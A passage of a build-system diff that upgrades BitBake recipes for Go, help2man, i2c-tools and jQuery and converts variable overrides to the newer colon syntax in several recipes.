- file://0001-Add-support-for-mips-mips64.patch;patchdir=src/github.com/golang/dep \
- file://0001-bolt_riscv64-Add-support-for-riscv64.patch;patchdir=src/github.com/golang/dep \
- "
-SRC_URI_append_riscv64 = " file://0001-Update-sys-module-to-latest.patch;patchdir=src/github.com/golang/dep "
-
-SRCREV = "1f7c19e5f52f49ffb9f956f64c010be14683468b"
-
-inherit go
-
-# New Go versions has Go modules support enabled by default and cause the Glide
-# tool build to fail.
-export GO111MODULE = "off"
-
-GO_INSTALL = "${GO_IMPORT}/cmd/dep"
-
-RDEPENDS_${PN}-dev += "bash"
-
-BBCLASSEXTEND = "native nativesdk"
-
-# For compiling ptest on mips and mips64, the current go-dep version fails with the go 1.11 toolchain.
-# error message: vet config not found
-PTEST_ENABLED_mips = "0"
-PTEST_ENABLED_mips64 = "0"
diff --git a/meta/recipes-devtools/go/go-native_1.15.bb b/meta/recipes-devtools/go/go-native_1.15.bb
deleted file mode 100644
index f14892cdb0..0000000000
--- a/meta/recipes-devtools/go/go-native_1.15.bb
+++ /dev/null
@@ -1,59 +0,0 @@
-# This recipe builds a native Go (written in Go) by first building an old Go 1.4
-# (written in C). However this old Go does not support all hosts platforms.
-
-require go-${PV}.inc
-
-inherit native
-
-SRC_URI_append = " https://dl.google.com/go/go1.4-bootstrap-20171003.tar.gz;name=bootstrap;subdir=go1.4"
-SRC_URI[bootstrap.sha256sum] = "f4ff5b5eb3a3cae1c993723f3eab519c5bae18866b5e5f96fe1102f0cb5c3e52"
-
-export GOOS = "${BUILD_GOOS}"
-export GOARCH = "${BUILD_GOARCH}"
-CC = "${@d.getVar('BUILD_CC').strip()}"
-
-GOMAKEARGS ?= "--no-banner"
-
-do_configure() {
- cd ${WORKDIR}/go1.4/go/src
- CGO_ENABLED=0 GOROOT=${WORKDIR}/go1.4/go ./make.bash
-}
-
-do_compile() {
- export GOROOT_FINAL="${libdir_native}/go"
- export GOROOT_BOOTSTRAP="${WORKDIR}/go1.4/go"
-
- cd src
- ./make.bash ${GOMAKEARGS}
- cd ${B}
-}
-do_compile[dirs] =+ "${GOTMPDIR} ${B}/bin"
-do_compile[cleandirs] += "${GOTMPDIR} ${B}/bin"
-
-make_wrapper() {
- rm -f ${D}${bindir}/$2$3
- cat <<END >${D}${bindir}/$2$3
-#!/bin/bash
-here=\`dirname \$0\`
-export GOROOT="${GOROOT:-\`readlink -f \$here/../lib/go\`}"
-\$here/../lib/go/bin/$1 "\$@"
-END
- chmod +x ${D}${bindir}/$2
-}
-
-do_install() {
- install -d ${D}${libdir}/go
- cp --preserve=mode,timestamps -R ${B}/pkg ${D}${libdir}/go/
- install -d ${D}${libdir}/go/src
- (cd ${S}/src; for d in *; do \
- [ -d $d ] && cp -a ${S}/src/$d ${D}${libdir}/go/src/; \
- done)
- find ${D}${libdir}/go/src -depth -type d -name testdata -exec rm -rf {} \;
- install -d ${D}${bindir} ${D}${libdir}/go/bin
- for f in ${B}/bin/*
- do
- base=`basename $f`
- install -m755 $f ${D}${libdir}/go/bin
- make_wrapper $base $base
- done
-}
diff --git a/meta/recipes-devtools/go/go-native_1.17.5.bb b/meta/recipes-devtools/go/go-native_1.17.5.bb
new file mode 100644
index 0000000000..ffe4ef3523
--- /dev/null
+++ b/meta/recipes-devtools/go/go-native_1.17.5.bb
@@ -0,0 +1,59 @@
+# This recipe builds a native Go (written in Go) by first building an old Go 1.4
+# (written in C). However this old Go does not support all hosts platforms.
+
+require go-${PV}.inc
+
+inherit native
+
+SRC_URI:append = " https://dl.google.com/go/go1.4-bootstrap-20171003.tar.gz;name=bootstrap;subdir=go1.4"
+SRC_URI[bootstrap.sha256sum] = "f4ff5b5eb3a3cae1c993723f3eab519c5bae18866b5e5f96fe1102f0cb5c3e52"
+
+export GOOS = "${BUILD_GOOS}"
+export GOARCH = "${BUILD_GOARCH}"
+CC = "${@d.getVar('BUILD_CC').strip()}"
+
+GOMAKEARGS ?= "--no-banner"
+
+do_configure() {
+ cd ${WORKDIR}/go1.4/go/src
+ CGO_ENABLED=0 GOROOT=${WORKDIR}/go1.4/go ./make.bash
+}
+
+do_compile() {
+ export GOROOT_FINAL="${libdir_native}/go"
+ export GOROOT_BOOTSTRAP="${WORKDIR}/go1.4/go"
+
+ cd src
+ ./make.bash ${GOMAKEARGS}
+ cd ${B}
+}
+do_compile[dirs] =+ "${GOTMPDIR} ${B}/bin"
+do_compile[cleandirs] += "${GOTMPDIR} ${B}/bin"
+
+make_wrapper() {
+ rm -f ${D}${bindir}/$2$3
+ cat <<END >${D}${bindir}/$2$3
+#!/bin/bash
+here=\`dirname \$0\`
+export GOROOT="${GOROOT:-\`readlink -f \$here/../lib/go\`}"
+\$here/../lib/go/bin/$1 "\$@"
+END
+ chmod +x ${D}${bindir}/$2
+}
+
+do_install() {
+ install -d ${D}${libdir}/go
+ cp --preserve=mode,timestamps -R ${B}/pkg ${D}${libdir}/go/
+ install -d ${D}${libdir}/go/src
+ (cd ${S}/src; for d in *; do \
+ [ -d $d ] && cp -a ${S}/src/$d ${D}${libdir}/go/src/; \
+ done)
+ find ${D}${libdir}/go/src -depth -type d -name testdata -exec rm -rf {} \;
+ install -d ${D}${bindir} ${D}${libdir}/go/bin
+ for f in ${B}/bin/*
+ do
+ base=`basename $f`
+ install -m755 $f ${D}${libdir}/go/bin
+ make_wrapper $base $base
+ done
+}
diff --git a/meta/recipes-devtools/go/go-runtime.inc b/meta/recipes-devtools/go/go-runtime.inc
index 21179a83a0..617e6b5414 100644
--- a/meta/recipes-devtools/go/go-runtime.inc
+++ b/meta/recipes-devtools/go/go-runtime.inc
@@ -1,5 +1,5 @@
DEPENDS = "virtual/${TUNE_PKGARCH}-go go-native"
-DEPENDS_class-nativesdk = "virtual/${TARGET_PREFIX}go-crosssdk"
+DEPENDS:class-nativesdk = "virtual/${TARGET_PREFIX}go-crosssdk"
PROVIDES = "virtual/${TARGET_PREFIX}go-runtime"
export CGO_CFLAGS = "${CFLAGS}"
@@ -15,7 +15,7 @@ do_configure() {
:
}
-do_configure_libc-musl() {
+do_configure:libc-musl() {
rm -f ${S}/src/runtime/race/*.syso
}
@@ -55,9 +55,9 @@ do_install() {
}
-ALLOW_EMPTY_${PN} = "1"
-FILES_${PN} = "${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*${SOLIBSDEV}"
-FILES_${PN}-dev = "${libdir}/go/src ${libdir}/go/pkg/include \
+ALLOW_EMPTY:${PN} = "1"
+FILES:${PN} = "${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*${SOLIBSDEV}"
+FILES:${PN}-dev = "${libdir}/go/src ${libdir}/go/pkg/include \
${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*.shlibname \
${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*/*.shlibname \
${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*/*/*.shlibname \
@@ -73,12 +73,12 @@ FILES_${PN}-dev = "${libdir}/go/src ${libdir}/go/pkg/include \
${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*/*/*/*/*/*.a \
${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*/*/*/*/*/*/*.a \
"
-FILES_${PN}-staticdev = "${libdir}/go/pkg/${TARGET_GOTUPLE}"
+FILES:${PN}-staticdev = "${libdir}/go/pkg/${TARGET_GOTUPLE}"
# Go sources include some scripts and pre-built binaries for
# multiple architectures. The static .a files for dynamically-linked
# runtime are also required in -dev.
-INSANE_SKIP_${PN}-dev = "staticdev file-rdeps arch"
+INSANE_SKIP:${PN}-dev = "staticdev file-rdeps arch"
INHIBIT_PACKAGE_STRIP = "1"
INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
diff --git a/meta/recipes-devtools/go/go-runtime_1.15.bb b/meta/recipes-devtools/go/go-runtime_1.15.bb
deleted file mode 100644
index d6ddb31ed4..0000000000
--- a/meta/recipes-devtools/go/go-runtime_1.15.bb
+++ /dev/null
@@ -1,4 +0,0 @@
-export CGO_ENABLED_riscv64 = ""
-require go-${PV}.inc
-require go-runtime.inc
-
diff --git a/meta/recipes-devtools/go/go-runtime_1.17.5.bb b/meta/recipes-devtools/go/go-runtime_1.17.5.bb
new file mode 100644
index 0000000000..63464a1501
--- /dev/null
+++ b/meta/recipes-devtools/go/go-runtime_1.17.5.bb
@@ -0,0 +1,3 @@
+require go-${PV}.inc
+require go-runtime.inc
+
diff --git a/meta/recipes-devtools/go/go-target.inc b/meta/recipes-devtools/go/go-target.inc
index 8e44247031..47b4411d54 100644
--- a/meta/recipes-devtools/go/go-target.inc
+++ b/meta/recipes-devtools/go/go-target.inc
@@ -1,12 +1,12 @@
DEPENDS = "virtual/${TUNE_PKGARCH}-go go-native"
-DEPENDS_class-nativesdk = "virtual/${TARGET_PREFIX}go-crosssdk go-native"
+DEPENDS:class-nativesdk = "virtual/${TARGET_PREFIX}go-crosssdk go-native"
export GOCACHE = "${B}/.cache"
GO_LDFLAGS = ""
-GO_LDFLAGS_class-nativesdk = "-linkmode external"
+GO_LDFLAGS:class-nativesdk = "-linkmode external"
export GO_LDFLAGS
-CC_append_class-nativesdk = " ${SECURITY_NOPIE_CFLAGS}"
+CC:append:class-nativesdk = " ${SECURITY_NOPIE_CFLAGS}"
do_configure[noexec] = "1"
@@ -38,8 +38,8 @@ do_install() {
}
PACKAGES = "${PN} ${PN}-dev"
-FILES_${PN} = "${libdir}/go/bin ${libdir}/go/pkg/tool/${TARGET_GOTUPLE} ${bindir}"
-RDEPENDS_${PN} = "go-runtime"
-INSANE_SKIP_${PN} = "ldflags"
+FILES:${PN} = "${libdir}/go/bin ${libdir}/go/pkg/tool/${TARGET_GOTUPLE} ${bindir}"
+RDEPENDS:${PN} = "go-runtime"
+INSANE_SKIP:${PN} = "ldflags"
BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/go/go_1.15.bb b/meta/recipes-devtools/go/go_1.15.bb
deleted file mode 100644
index d4812c0f0a..0000000000
--- a/meta/recipes-devtools/go/go_1.15.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-require go-${PV}.inc
-require go-target.inc
-
-inherit linuxloader
-
-export GOBUILDMODE=""
-export CGO_ENABLED_riscv64 = ""
-export GO_LDSO = "${@get_linuxloader(d)}"
-export CC_FOR_TARGET = "gcc"
-export CXX_FOR_TARGET = "g++"
-
-# mips/rv64 doesn't support -buildmode=pie, so skip the QA checking for mips/riscv and its
-# variants.
-python() {
- if 'mips' in d.getVar('TARGET_ARCH',True) or 'riscv' in d.getVar('TARGET_ARCH',True):
- d.appendVar('INSANE_SKIP_%s' % d.getVar('PN',True), " textrel")
-}
-
diff --git a/meta/recipes-devtools/go/go_1.17.5.bb b/meta/recipes-devtools/go/go_1.17.5.bb
new file mode 100644
index 0000000000..34dc89bb0c
--- /dev/null
+++ b/meta/recipes-devtools/go/go_1.17.5.bb
@@ -0,0 +1,17 @@
+require go-${PV}.inc
+require go-target.inc
+
+inherit linuxloader
+
+export GOBUILDMODE=""
+export GO_LDSO = "${@get_linuxloader(d)}"
+export CC_FOR_TARGET = "gcc"
+export CXX_FOR_TARGET = "g++"
+
+# mips/rv64 doesn't support -buildmode=pie, so skip the QA checking for mips/riscv32 and its
+# variants.
+python() {
+ if 'mips' in d.getVar('TARGET_ARCH',True) or 'riscv32' in d.getVar('TARGET_ARCH',True):
+ d.appendVar('INSANE_SKIP:%s' % d.getVar('PN',True), " textrel")
+}
+
diff --git a/meta/recipes-devtools/help2man/help2man_1.47.16.bb b/meta/recipes-devtools/help2man/help2man_1.47.16.bb
deleted file mode 100644
index 27a15eb0e2..0000000000
--- a/meta/recipes-devtools/help2man/help2man_1.47.16.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Program for creating simple man pages"
-SECTION = "devel"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
-
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BPN}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "3ef8580c5b86e32ca092ce8de43df204f5e6f714b0cd32bc6237e6cd0f34a8f4"
-
-inherit autotools
-
-# This is a hand-maintained aclocal.m4 but our autotools class currently deletes
-# aclocal.m4.
-EXTRA_AUTORECONF += "--exclude=aclocal"
-
-EXTRA_OECONF = "--disable-nls"
-
-do_install_append () {
- # Make sure we use /usr/bin/env perl
- sed -i -e "1s:#!.*:#! /usr/bin/env perl:" ${D}${bindir}/help2man
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/help2man/help2man_1.48.5.bb b/meta/recipes-devtools/help2man/help2man_1.48.5.bb
new file mode 100644
index 0000000000..7fe59cbab7
--- /dev/null
+++ b/meta/recipes-devtools/help2man/help2man_1.48.5.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Program for creating simple man pages"
+HOMEPAGE = "https://www.gnu.org/software/help2man/"
+DESCRIPTION = "help2man is a tool for automatically generating simple manual pages from program output."
+SECTION = "devel"
+LICENSE = "GPLv3"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "6739e4caa42e6aed3399be4387ca79399640967334e91728863b8eaa922582be"
+
+inherit autotools
+
+# This is a hand-maintained aclocal.m4 but our autotools class currently deletes
+# aclocal.m4.
+EXTRA_AUTORECONF += "--exclude=aclocal"
+
+EXTRA_OECONF = "--disable-nls"
+
+do_install:append () {
+ # Make sure we use /usr/bin/env perl
+ sed -i -e "1s:#!.*:#! /usr/bin/env perl:" ${D}${bindir}/help2man
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/i2c-tools/i2c-tools_4.2.bb b/meta/recipes-devtools/i2c-tools/i2c-tools_4.2.bb
deleted file mode 100644
index 7a53151d0e..0000000000
--- a/meta/recipes-devtools/i2c-tools/i2c-tools_4.2.bb
+++ /dev/null
@@ -1,42 +0,0 @@
-SUMMARY = "Set of i2c tools for linux"
-HOMEPAGE = "https://i2c.wiki.kernel.org/index.php/I2C_Tools"
-SECTION = "base"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-
-SRC_URI = "${KERNELORG_MIRROR}/software/utils/i2c-tools/${BP}.tar.gz \
-"
-
-SRC_URI[sha256sum] = "7de18ed890e111fa54ab7ea896804d5faa4d1f0462a258aad9fbb7a8cc6b60cc"
-
-inherit update-alternatives
-
-EXTRA_OEMAKE = "bindir=${bindir} sbindir=${sbindir} \
- incdir=${includedir} libdir=${libdir} \
- mandir=${mandir} \
- EXTRA=eeprog"
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
-}
-
-PACKAGES =+ "${PN}-misc"
-FILES_${PN}-misc = "${sbindir}/i2c-stub-from-dump \
- ${bindir}/ddcmon \
- ${bindir}/decode-edid \
- ${bindir}/decode-dimms \
- ${bindir}/decode-vaio \
- "
-RDEPENDS_${PN}-misc = "${PN} perl perl-module-posix \
- perl-module-constant perl-module-file-basename \
- perl-module-fcntl perl-module-strict perl-module-vars \
- perl-module-carp \
- "
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "i2cdetect i2cdump i2cget i2cset i2ctransfer"
-ALTERNATIVE_LINK_NAME[i2cdetect] = "${sbindir}/i2cdetect"
-ALTERNATIVE_LINK_NAME[i2cdump] = "${sbindir}/i2cdump"
-ALTERNATIVE_LINK_NAME[i2cget] = "${sbindir}/i2cget"
-ALTERNATIVE_LINK_NAME[i2cset] = "${sbindir}/i2cset"
-ALTERNATIVE_LINK_NAME[i2ctransfer] = "${sbindir}/i2ctransfer"
diff --git a/meta/recipes-devtools/i2c-tools/i2c-tools_4.3.bb b/meta/recipes-devtools/i2c-tools/i2c-tools_4.3.bb
new file mode 100644
index 0000000000..51e4e5d8e9
--- /dev/null
+++ b/meta/recipes-devtools/i2c-tools/i2c-tools_4.3.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Set of i2c tools for linux"
+HOMEPAGE = "https://i2c.wiki.kernel.org/index.php/I2C_Tools"
+DESCRIPTION = "The i2c-tools package contains a heterogeneous set of I2C tools for Linux: a bus probing tool, a chip dumper, register-level SMBus access helpers, EEPROM decoding scripts, EEPROM programming tools, and a python module for SMBus access. All versions of Linux are supported, as long as I2C support is included in the kernel."
+SECTION = "base"
+LICENSE = "GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+
+SRC_URI = "${KERNELORG_MIRROR}/software/utils/i2c-tools/${BP}.tar.gz \
+"
+
+SRC_URI[sha256sum] = "eec464e42301d93586cbeca3845ed61bff40f560670e5b35baec57301d438148"
+
+inherit update-alternatives
+
+EXTRA_OEMAKE = "bindir=${bindir} sbindir=${sbindir} \
+ incdir=${includedir} libdir=${libdir} \
+ mandir=${mandir} \
+ EXTRA=eeprog"
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install
+}
+
+PACKAGES =+ "${PN}-misc"
+FILES:${PN}-misc = "${sbindir}/i2c-stub-from-dump \
+ ${bindir}/ddcmon \
+ ${bindir}/decode-edid \
+ ${bindir}/decode-dimms \
+ ${bindir}/decode-vaio \
+ "
+RDEPENDS:${PN}-misc = "${PN} perl perl-module-posix \
+ perl-module-constant perl-module-file-basename \
+ perl-module-fcntl perl-module-strict perl-module-vars \
+ perl-module-carp \
+ "
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "i2cdetect i2cdump i2cget i2cset i2ctransfer"
+ALTERNATIVE_LINK_NAME[i2cdetect] = "${sbindir}/i2cdetect"
+ALTERNATIVE_LINK_NAME[i2cdump] = "${sbindir}/i2cdump"
+ALTERNATIVE_LINK_NAME[i2cget] = "${sbindir}/i2cget"
+ALTERNATIVE_LINK_NAME[i2cset] = "${sbindir}/i2cset"
+ALTERNATIVE_LINK_NAME[i2ctransfer] = "${sbindir}/i2ctransfer"
diff --git a/meta/recipes-devtools/icecc-create-env/icecc-create-env_0.1.bb b/meta/recipes-devtools/icecc-create-env/icecc-create-env_0.1.bb
index 231c1c20ec..27014226b5 100644
--- a/meta/recipes-devtools/icecc-create-env/icecc-create-env_0.1.bb
+++ b/meta/recipes-devtools/icecc-create-env/icecc-create-env_0.1.bb
@@ -11,6 +11,7 @@ PR = "r2"
DEPENDS = ""
INHIBIT_DEFAULT_DEPS = "1"
+ICECC_DISABLED = "1"
# This is needed, because otherwise there is dependency loop from quilt-native
# Dependency loop #1 found:
@@ -35,4 +36,4 @@ do_install() {
BBCLASSEXTEND = "native nativesdk"
-RDEPENDS_${PN}_class-nativesdk = "patchelf"
+RDEPENDS:${PN}:class-nativesdk = "patchelf"
diff --git a/meta/recipes-devtools/icecc-toolchain/nativesdk-icecc-toolchain_0.1.bb b/meta/recipes-devtools/icecc-toolchain/nativesdk-icecc-toolchain_0.1.bb
index 304ad7fec0..034a0047d7 100644
--- a/meta/recipes-devtools/icecc-toolchain/nativesdk-icecc-toolchain_0.1.bb
+++ b/meta/recipes-devtools/icecc-toolchain/nativesdk-icecc-toolchain_0.1.bb
@@ -1,6 +1,7 @@
# Copyright (c) 2018 Joshua Watt, Garmin International,Inc.
# Released under the MIT license (see COPYING.MIT for the terms)
SUMMARY = "Generates Icecream toolchain for SDK"
+DESCRIPTION = "${SUMMARY}"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${WORKDIR}/icecc-env.sh;beginline=2;endline=20;md5=dd6b68c1efed8a9fb04e409b3b287d47"
@@ -33,6 +34,6 @@ do_install() {
}
PACKAGES = "${PN}"
-FILES_${PN} = "${SDKPATHNATIVE}"
-RDEPENDS_${PN} += "nativesdk-icecc-create-env"
+FILES:${PN} = "${SDKPATHNATIVE}"
+RDEPENDS:${PN} += "nativesdk-icecc-create-env"
diff --git a/meta/recipes-devtools/intltool/intltool_0.51.0.bb b/meta/recipes-devtools/intltool/intltool_0.51.0.bb
index ecff2faf25..77be30758d 100644
--- a/meta/recipes-devtools/intltool/intltool_0.51.0.bb
+++ b/meta/recipes-devtools/intltool/intltool_0.51.0.bb
@@ -1,4 +1,6 @@
SUMMARY = "Utility scripts for internationalizing XML"
+HOMEPAGE = "https://launchpad.net/intltool"
+DESCRIPTION = "Utility scripts for internationalizing XML. This tool automatically extracts translatable strings from oaf, glade, bonobo ui, nautilus theme and other XML files into the po files."
SECTION = "devel"
LICENSE = "GPLv2"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
@@ -15,23 +17,23 @@ SRC_URI[sha256sum] = "67c74d94196b153b774ab9f89b2fa6c6ba79352407037c8c14d5aeb334
UPSTREAM_CHECK_URI = "https://launchpad.net/intltool/trunk/"
DEPENDS = "libxml-parser-perl-native"
-RDEPENDS_${PN} = "gettext-dev libxml-parser-perl"
-DEPENDS_class-native = "libxml-parser-perl-native gettext-native"
+RDEPENDS:${PN} = "gettext-dev libxml-parser-perl"
+DEPENDS:class-native = "libxml-parser-perl-native gettext-native"
inherit autotools pkgconfig perlnative
export PERL = "${bindir}/env perl"
-PERL_class-native = "/usr/bin/env nativeperl"
-PERL_class-nativesdk = "/usr/bin/env perl"
+PERL:class-native = "/usr/bin/env nativeperl"
+PERL:class-nativesdk = "/usr/bin/env perl"
# gettext is assumed to exist on the host
-RDEPENDS_${PN}_class-native = "libxml-parser-perl-native"
-RRECOMMENDS_${PN} = "perl-modules"
-RRECOMMENDS_${PN}_class-native = ""
+RDEPENDS:${PN}:class-native = "libxml-parser-perl-native"
+RRECOMMENDS:${PN} = "perl-modules"
+RRECOMMENDS:${PN}:class-native = ""
-FILES_${PN}-dev = ""
-FILES_${PN} += "${datadir}/aclocal"
+FILES:${PN}-dev = ""
+FILES:${PN} += "${datadir}/aclocal"
-INSANE_SKIP_${PN} += "dev-deps"
+INSANE_SKIP:${PN} += "dev-deps"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/jquery/jquery_3.5.1.bb b/meta/recipes-devtools/jquery/jquery_3.5.1.bb
deleted file mode 100644
index 62f0dfb0c5..0000000000
--- a/meta/recipes-devtools/jquery/jquery_3.5.1.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "jQuery is a fast, small, and feature-rich JavaScript library"
-HOMEPAGE = "https://jquery.com/"
-LICENSE = "MIT"
-SECTION = "devel"
-LIC_FILES_CHKSUM = "file://${S}/${BP}.js;beginline=8;endline=10;md5=ebd7bc5d23ab165188e526a0c65d24bb"
-
-# unpack items to ${S} so the archiver can see them
-#
-SRC_URI = "\
- https://code.jquery.com/${BP}.js;name=js;subdir=${BP} \
- https://code.jquery.com/${BP}.min.js;name=min;subdir=${BP} \
- https://code.jquery.com/${BP}.min.map;name=map;subdir=${BP} \
- "
-
-SRC_URI[js.sha256sum] = "416a3b2c3bf16d64f6b5b6d0f7b079df2267614dd6847fc2f3271b4409233c37"
-SRC_URI[min.sha256sum] = "f7f6a5894f1d19ddad6fa392b2ece2c5e578cbf7da4ea805b6885eb6985b6e3d"
-SRC_URI[map.sha256sum] = "511d6f6d3e7acec78cd2505f04282b6e01329b4c24931f39d91739d0d1ddeef8"
-
-UPSTREAM_CHECK_REGEX = "jquery-(?P<pver>\d+(\.\d+)+)\.js"
-
-inherit allarch
-
-do_install() {
- install -d ${D}${datadir}/javascript/${BPN}/
- install -m 644 ${S}/${BP}.js ${D}${datadir}/javascript/${BPN}/${BPN}.js
- install -m 644 ${S}/${BP}.min.js ${D}${datadir}/javascript/${BPN}/${BPN}.min.js
- install -m 644 ${S}/${BP}.min.map ${D}${datadir}/javascript/${BPN}/${BPN}.min.map
-}
-
-PACKAGES = "${PN}"
-FILES_${PN} = "${datadir}"
-
-BBCLASSEXTEND += "native nativesdk"
diff --git a/meta/recipes-devtools/jquery/jquery_3.6.0.bb b/meta/recipes-devtools/jquery/jquery_3.6.0.bb
new file mode 100644
index 0000000000..33b177d1d0
--- /dev/null
+++ b/meta/recipes-devtools/jquery/jquery_3.6.0.bb
@@ -0,0 +1,39 @@
+SUMMARY = "jQuery is a fast, small, and feature-rich JavaScript library"
+HOMEPAGE = "https://jquery.com/"
+DESCRIPTION = "${SUMMARY}"
+LICENSE = "MIT"
+SECTION = "devel"
+LIC_FILES_CHKSUM = "file://${S}/${BP}.js;beginline=8;endline=10;md5=9c7c6e9ab275fc1e0d99cb7180ecd14c"
+
+# unpack items to ${S} so the archiver can see them
+#
+SRC_URI = "\
+ https://code.jquery.com/${BP}.js;name=js;subdir=${BP} \
+ https://code.jquery.com/${BP}.min.js;name=min;subdir=${BP} \
+ https://code.jquery.com/${BP}.min.map;name=map;subdir=${BP} \
+ "
+
+SRC_URI[js.sha256sum] = "1fe2bb5390a75e5d61e72c107cab528fc3c29a837d69aab7d200e1dbb5dcd239"
+SRC_URI[min.sha256sum] = "ff1523fb7389539c84c65aba19260648793bb4f5e29329d2ee8804bc37a3fe6e"
+SRC_URI[map.sha256sum] = "399548fb0e7b146c12f5ba18099a47d594a970fee96212eee0ab4852f3e56782"
+
+UPSTREAM_CHECK_REGEX = "jquery-(?P<pver>\d+(\.\d+)+)\.js"
+
+# https://github.com/jquery/jquery/issues/3927
+# There are ways jquery can expose security issues but any issues are in the apps exposing them
+# and there is little we can directly do
+CVE_CHECK_WHITELIST += "CVE-2007-2379"
+
+inherit allarch
+
+do_install() {
+ install -d ${D}${datadir}/javascript/${BPN}/
+ install -m 644 ${S}/${BP}.js ${D}${datadir}/javascript/${BPN}/${BPN}.js
+ install -m 644 ${S}/${BP}.min.js ${D}${datadir}/javascript/${BPN}/${BPN}.min.js
+ install -m 644 ${S}/${BP}.min.map ${D}${datadir}/javascript/${BPN}/${BPN}.min.map
+}
+
+PACKAGES = "${PN}"
+FILES:${PN} = "${datadir}"
+
+BBCLASSEXTEND += "native nativesdk"
diff --git a/meta/recipes-devtools/json-c/json-c_0.15.bb b/meta/recipes-devtools/json-c/json-c_0.15.bb
index 2968590dd8..a4673a2f0e 100644
--- a/meta/recipes-devtools/json-c/json-c_0.15.bb
+++ b/meta/recipes-devtools/json-c/json-c_0.15.bb
@@ -8,10 +8,10 @@ SRC_URI = "https://s3.amazonaws.com/json-c_releases/releases/${BP}.tar.gz"
SRC_URI[sha256sum] = "b8d80a1ddb718b3ba7492916237bbf86609e9709fb007e7f7d4322f02341a4c6"
-UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
+UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/tags"
UPSTREAM_CHECK_REGEX = "json-c-(?P<pver>\d+(\.\d+)+)-\d+"
-RPROVIDES_${PN} = "libjson"
+RPROVIDES:${PN} = "libjson"
inherit cmake
diff --git a/meta/recipes-devtools/libcomps/libcomps/0001-Add-crc32.c-to-sources-list.patch b/meta/recipes-devtools/libcomps/libcomps/0001-Add-crc32.c-to-sources-list.patch
deleted file mode 100644
index f4fb6d3b20..0000000000
--- a/meta/recipes-devtools/libcomps/libcomps/0001-Add-crc32.c-to-sources-list.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From 72065bb2b5881dc224299f302379391aebdfca3d Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 21 Nov 2018 13:09:05 +0100
-Subject: [PATCH 1/2] Add crc32.c to sources list
-
-Otherwise, there is a missing symbol runtime error under musl C library.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- libcomps/src/python/src/CMakeLists.txt | 4 ++--
- libcomps/src/python/src/crc32.c | 2 +-
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/libcomps/src/python/src/CMakeLists.txt b/libcomps/src/python/src/CMakeLists.txt
-index adabb31..b9b96ab 100644
---- a/libcomps/src/python/src/CMakeLists.txt
-+++ b/libcomps/src/python/src/CMakeLists.txt
-@@ -9,13 +9,13 @@ set (pycomps_SRCDIR ${CMAKE_CURRENT_SOURCE_DIR})
- set (pycomps_SRC pycomps.c pycomps_sequence.c
- pycomps_envs.c pycomps_categories.c pycomps_groups.c
- pycomps_gids.c pycomps_utils.c pycomps_dict.c pycomps_mdict.c
-- pycomps_hash.c pycomps_exc.c pycomps_lbw.c)
-+ pycomps_hash.c pycomps_exc.c pycomps_lbw.c crc32.c)
-
- set (pycomps_HEADERS pycomps_23macros.h pycomps_sequence.h
- pycomps_envs.h pycomps_categories.h pycomps_groups.h
- pycomps_gids.h pycomps_utils.h pycomps_dict.h pycomps_mdict.h
- pycomps_hash.h pycomps_exc.h pycomps_lbw.h
-- pycomps_types.h)
-+ pycomps_types.h crc32.h)
-
- #set(TEST_FILES ../__init__.py __test.py test_merge_comps.py test_libcomps.py
- # utest.py)
-diff --git a/libcomps/src/python/src/crc32.c b/libcomps/src/python/src/crc32.c
-index d8f5e34..f266067 100644
---- a/libcomps/src/python/src/crc32.c
-+++ b/libcomps/src/python/src/crc32.c
-@@ -41,7 +41,7 @@
- */
-
- #include <sys/param.h>
--#include <sys/systm.h>
-+#include <stdint.h>
-
- static uint32_t crc32_tab[] = {
- 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
---
-2.26.2
-
diff --git a/meta/recipes-devtools/libcomps/libcomps/0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch b/meta/recipes-devtools/libcomps/libcomps/0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
index 3e9102605b..6cd052889a 100644
